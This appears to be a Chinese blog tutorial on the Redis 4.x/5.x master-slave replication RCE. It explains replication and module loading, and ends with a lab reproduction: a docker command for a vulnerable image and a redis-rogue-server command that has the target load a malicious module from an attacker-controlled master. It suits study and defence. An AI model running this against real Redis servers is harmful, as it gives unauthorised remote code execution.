Redis主从复制RCE
概念
Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C(就是c啦)编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库。他比mysql快得多。
Redis 主从复制,就是指将一个 Redis 服务器(称为 主节点)的数据,复制到一个或多个其他 Redis 服务器(称为 从节点)的过程。
·主节点:通常负责写操作,所有客户端的请求都发送到主服务器。
·从节点:通常负责读操作,它们会精确地复制主节点的数据,客户端可以将读请求发送到从节点,以分担主节点的压力。
slave向master发送PSYNC命令得到的回应分类:
a) 全量同步(+FULLRESYNC)
会将master上的RDB文件同步到slave上
b) 增量同步(+CONTINUE)
slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件
特点:单向操作,只能从主节点复制到从节点
漏洞成因
redis从4.0版本开始就允许用户自定义加载模块(redis module),通过模块可以创建新的命令、数据类型、函数等。我们可以通过加载自己生成的恶意模块(so文件)从而可以实现在 redis 中实现一个新的 Redis 命令,从而来进行RCE。这里我们使用的是全量同步。
这里为什么要用到主从复制这个原理就是因为
1 | Redis的命令集限制了我们。而主从复制攻击,表面上是“对主节点进行操作”(让目标作为从节点去连接我们控制的主节点),实质上是利用主从复制这个合法通道,将恶意模块从外部送入内部,最终达到在目标服务器上执行代码的目的。 |
redis常用命令
1 | set xz "Hacker" # 设置键xz的值为字符串Hacker |
漏洞利用条件
redis版本 4.x、5.x
漏洞复现
工具:https://github.com/n0b0dyCN/redis-rogue-server
环境搭建
1 | docker pull damonevking/redis5.0 |
工具使用
1 | python3 redis-rogue-server.py --rhost 192.168.137.129 --lhost 192.168.137.129 --exp=exp.so |
